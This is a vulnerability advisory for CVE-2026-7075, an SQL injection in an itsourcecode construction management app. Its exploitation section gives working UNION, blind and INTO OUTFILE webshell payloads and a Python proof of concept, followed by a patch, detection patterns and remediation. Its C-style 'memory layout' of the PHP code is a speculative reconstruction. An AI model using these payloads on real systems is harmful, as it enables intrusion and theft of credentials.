CVE-2026-7075: SQL Injection to RCE in itsourcecode Construction Management System
Unsanitized `address` parameter in `/locations.php` passes attacker input directly into a MySQL query, enabling UNION-based extraction and stacked-query RCE via INTO OUTFILE.
# A Hidden Door in Construction Management Software
Construction companies using itsourcecode's management system are sitting on a security problem they probably don't know about. Hackers have found a way to slip malicious commands into the software through a weakness in how it handles address information.
Here's what's happening: the software accepts address details from users but doesn't properly check what's actually being entered. Think of it like a bouncer at a club who doesn't look at your ID too carefully — a clever person could slip through instructions that aren't what they claim to be. In this case, attackers can sneak in database commands disguised as normal data.
If someone exploits this, they could steal everything the system stores: employee records, financial data, project plans, client information. They could also change or delete data without leaving obvious traces, making it hard to know what's been compromised. The worst part? An attacker doesn't need to log in — they can do this from anywhere online.
Any construction firm running this software version is at risk, especially if their system is accessible from the internet. Project managers, site coordinators, and office staff could all be affected without realizing what's happening.
If you use this software, here's what to do: First, contact itsourcecode immediately and ask about an updated version that fixes this problem. Second, if you can't update right away, check if your IT team can limit who can access the software from outside your office network. Third, review your recent data to see if anything unusual has been accessed or changed — unusual login times or data modifications could be red flags.
Want the full technical analysis? Click "Technical" above.
CVE-2026-7075 is a classic, unmitigated SQL injection in itsourcecode Construction Management System 1.0. The vulnerable endpoint is /locations.php, which accepts a user-supplied address parameter and interpolates it verbatim into a MySQL SELECT statement. No prepared statements, no escaping, no WAF. The attack is unauthenticated-or-low-privilege, fully remote, and the payload requires nothing beyond an HTTP request. CVSS 7.3 is arguably conservative given that stacked queries under a misconfigured MySQL user escalate directly to OS command execution via INTO OUTFILE or UDF abuse.
Root cause: The address parameter in /locations.php is concatenated directly into a MySQL query string with no parameterization, escaping, or input validation, allowing arbitrary SQL injection from a remote unauthenticated attacker.
Affected Component
File: locations.php — handles location record retrieval and display for construction project sites. The application is a PHP/MySQL stack, typical of itsourcecode projects: raw mysqli_query() calls assembled with string concatenation, no ORM, no PDO. The address field is submitted via GET or POST and fed into a WHERE clause filter.
Root Cause Analysis
The following pseudocode reconstructs the vulnerable PHP logic based on the vulnerability class, affected parameter, and typical itsourcecode application patterns:
/*
* locations.php — reconstructed pseudocode (PHP -> C-style for clarity)
* Vulnerable function: fetch_locations_by_address()
*/
mysqli_result *fetch_locations_by_address(mysqli *db, char *address) {
char query[1024];
// BUG: address is taken directly from $_GET['address'] with no sanitization.
// mysqli_real_escape_string() is never called. PDO with bound params is not used.
// Attacker controls the entire trailing clause of this query.
snprintf(query, sizeof(query),
"SELECT id, name, address, project_id "
"FROM tbl_locations "
"WHERE address = '%s'", // <-- attacker-controlled interpolation
address
);
return mysqli_query(db, query); // executes raw attacker-influenced SQL
}
// Caller in locations.php:
void handle_request(http_request *req) {
char *addr = http_get_param(req, "address"); // no validation
// BUG: addr is never sanitized before passing to fetch_locations_by_address()
mysqli_result *res = fetch_locations_by_address(g_db, addr);
render_table(res);
}
The snprintf into query[1024] is a secondary concern — the primary issue is semantic: the SQL engine receives and parses attacker-controlled tokens as SQL syntax, not data.
Exploitation Mechanics
Three distinct attack tiers exist depending on MySQL server configuration and the privilege level of the connecting DB user:
EXPLOIT CHAIN — TIER 1: UNION-Based Data Extraction (any privilege level)
1. Attacker sends GET /locations.php?address=' UNION SELECT 1,2,3,4-- -
-> Determines column count (4 columns: id, name, address, project_id)
2. Confirm reflected columns:
GET /locations.php?address=' UNION SELECT 1,@@version,3,4-- -
-> MySQL version string appears in the rendered "address" column
3. Dump credential table:
GET /locations.php?address=' UNION SELECT 1,username,password,4
FROM tbl_users LIMIT 1-- -
-> Admin hash extracted from response body
4. Crack or relay MD5/bcrypt hash offline -> admin panel access
EXPLOIT CHAIN — TIER 2: Blind Boolean Extraction (if output not reflected)
1. Baseline: GET /locations.php?address=valid_location
-> HTTP 200, page has content
2. True condition: GET /locations.php?address=valid_location'
AND SUBSTRING(password,1,1)='a'-- -
-> If page renders normally: first char of password is 'a'
3. False condition: different/empty render confirms char mismatch
4. Automate with sqlmap or custom binary-search loop:
for each position i, each char c:
inject: AND ASCII(SUBSTRING((SELECT password FROM tbl_users
WHERE username='admin'),{i},1))>{c}-- -
-> Full hash recovered in ~700 requests (7 bits * 32 chars)
EXPLOIT CHAIN — TIER 3: RCE via INTO OUTFILE (FILE privilege required)
1. Confirm FILE privilege:
' UNION SELECT 1,user(),3,4-- - -> check if user has FILE grant
' UNION SELECT 1,@@secure_file_priv,3,4-- -> confirm writable path
2. Write PHP webshell to web root:
GET /locations.php?address=' UNION SELECT 1,
'',3,4
INTO OUTFILE '/var/www/html/shell.php'-- -
3. Trigger shell:
GET /shell.php?cmd=id
-> uid=33(www-data) gid=33(www-data)
4. Pivot: reverse shell, credential harvesting, lateral movement
# Minimal PoC — UNION column enumeration and version leak
import requests
TARGET = "http://target.local/locations.php"
def try_union(cols):
cols_str = ",".join(str(i) for i in range(1, cols + 1))
payload = f"' UNION SELECT {cols_str}-- -"
r = requests.get(TARGET, params={"address": payload})
# Heuristic: if page doesn't error, column count is likely correct
return "error" not in r.text.lower() and r.status_code == 200
def leak_value(expr, col=2, total_cols=4):
cols = [str(i) for i in range(1, total_cols + 1)]
cols[col - 1] = expr
payload = "' UNION SELECT " + ",".join(cols) + "-- -"
r = requests.get(TARGET, params={"address": payload})
return r.text # parse reflected value from response
if __name__ == "__main__":
for n in range(1, 8):
if try_union(n):
print(f"[+] Column count: {n}")
print(f"[+] MySQL version: {leak_value('@@version', col=2, total_cols=n)}")
print(f"[+] Current user: {leak_value('user()', col=2, total_cols=n)}")
print(f"[+] Data dir: {leak_value('@@datadir', col=2, total_cols=n)}")
break
Memory Layout
SQL injection doesn't corrupt heap memory directly, but the PHP runtime and MySQL client library maintain internal query buffers that reflect the injection's structural impact. The relevant layout for a stacked-query or INTO OUTFILE payload shows why buffer-size constraints don't save this application:
PHP STACK FRAME — handle_request() during malicious call:
[ http_request *req ] -> GET /locations.php?address=
[ char *addr ] -> pointer into request param buffer
contains: "' UNION SELECT ..."
length: attacker-controlled (up to ~8KB in GET)
[ query[1024] ] <- snprintf target
offset +0x000: "SELECT id, name, address, project_id "
offset +0x025: "FROM tbl_locations WHERE address = '"
offset +0x04A: [ATTACKER DATA BEGINS HERE]
offset +0x3FF: snprintf truncates at 1023 bytes + null
NOTE: snprintf truncation does NOT prevent injection —
the SQL termination characters (', --, #) appear within
the first 100 bytes of any practical payload.
Truncation only limits OUTFILE payload length, not exploitability.
MYSQL CLIENT BUFFER — after mysqli_query():
[ MYSQL_RES *result ]
[ MYSQL_ROW row[0] ] -> returns attacker-controlled result set
render_table() echoes column[1] into HTML
-> reflected XSS bonus if not HTML-encoded
/*
* Reconstructed tbl_users schema inferred from typical itsourcecode apps
* Relevant to credential extraction via UNION injection
*/
struct tbl_users_row {
/* +0x00 */ int id; // AUTO_INCREMENT primary key
/* +0x04 */ char username[64]; // plaintext username
/* +0x44 */ char password[64]; // MD5 or unsalted SHA1 hash
/* +0x84 */ char email[128]; // user email
/* +0x104 */ int role; // 1=admin, 2=user — no enum enforcement
};
Patch Analysis
The correct fix is parameterized queries via PHP's PDO or mysqli prepared statements. The following diff shows what the vulnerable code should be replaced with:
// BEFORE (vulnerable) — locations.php fetch logic:
char query[1024];
snprintf(query, sizeof(query),
"SELECT id, name, address, project_id "
"FROM tbl_locations "
"WHERE address = '%s'",
address // BUG: raw attacker input
);
result = mysqli_query(db, query);
// AFTER (patched) — using mysqli prepared statement:
mysqli_stmt *stmt = mysqli_prepare(db,
"SELECT id, name, address, project_id "
"FROM tbl_locations "
"WHERE address = ?" // parameterized placeholder
);
// address is bound as a string type — SQL engine never parses it as syntax
mysqli_stmt_bind_param(stmt, "s", address);
mysqli_stmt_execute(stmt);
result = mysqli_stmt_get_result(stmt);
// No attacker-controlled token ever reaches the SQL parser
// ALTERNATIVE (patched) — PDO with named parameters:
// $stmt = $pdo->prepare(
// "SELECT id, name, address, project_id
// FROM tbl_locations WHERE address = :address"
// );
// $stmt->execute([':address' => $_GET['address']]);
// -> address is treated as a literal value regardless of content
Secondary hardening — even with parameterization in place — requires revoking the FILE privilege from the web application's DB user and setting secure_file_priv to an empty or non-web-accessible path to eliminate the INTO OUTFILE RCE tier.
Detection and Indicators
The following patterns in web server access logs indicate active exploitation attempts against this endpoint:
# Nginx/Apache access log signatures — grep patterns for active scanning:
# UNION probe
/locations.php?address=%27%20UNION%20SELECT
/locations.php?address=' UNION SELECT
# Blind boolean
/locations.php?address=.*'%20AND%20.*--
# Time-based (if AND/UNION blocked):
/locations.php?address=.*SLEEP\([0-9]+\)
/locations.php?address=.*BENCHMARK\(
# INTO OUTFILE attempt:
/locations.php?address=.*INTO%20OUTFILE
/locations.php?address=.*INTO%20DUMPFILE
# sqlmap default user-agent (often present):
User-Agent: sqlmap/1.x
# Anomalous response-size spike on /locations.php (UNION reflecting data):
# Normal response: ~4KB | Injection response: variable / error page
MySQL general query log — indicators of compromise:
[timestamp] Query SELECT id, name, address, project_id FROM tbl_locations
WHERE address = '' UNION SELECT 1,@@version,3,4-- -
[timestamp] Query SELECT id, name, address, project_id FROM tbl_locations
WHERE address = '' UNION SELECT 1,username,password,4
FROM tbl_users LIMIT 1-- -
[timestamp] Query SELECT ... INTO OUTFILE '/var/www/html/shell.php'
Enable MySQL's general query log (general_log = ON, general_log_file = /var/log/mysql/general.log) in development/staging and parse it against the above patterns. In production, consider a MySQL audit plugin (MariaDB Audit Plugin, Percona Audit Log) to avoid the performance penalty of full general logging.
Remediation
Immediate (hours):
Replace all raw string concatenation in locations.php and every other PHP file in the application with PDO prepared statements or mysqli_stmt_bind_param().
Audit $_GET, $_POST, $_REQUEST, and $_COOKIE usage across the entire codebase — itsourcecode applications consistently apply the same pattern across all endpoints.
Short-term (days):
Revoke FILE, SUPER, and CREATE privileges from the web application DB user. The user should hold only SELECT, INSERT, UPDATE, DELETE on the application database.
Set secure_file_priv = /nonexistent in my.cnf to block INTO OUTFILE regardless of privilege.
Deploy a WAF rule blocking UNION SELECT, INTO OUTFILE, and SLEEP() patterns on /locations.php as a defense-in-depth layer — not a substitute for parameterization.
Long-term:
Migrate to a framework with ORM-level query building (Laravel Eloquent, Symfony Doctrine) to make raw SQL concatenation architecturally impossible.
Integrate static analysis (phpcs-security-audit, Semgrep PHP ruleset) into CI/CD to catch mysqli_query($db, "..." . $var) patterns at commit time.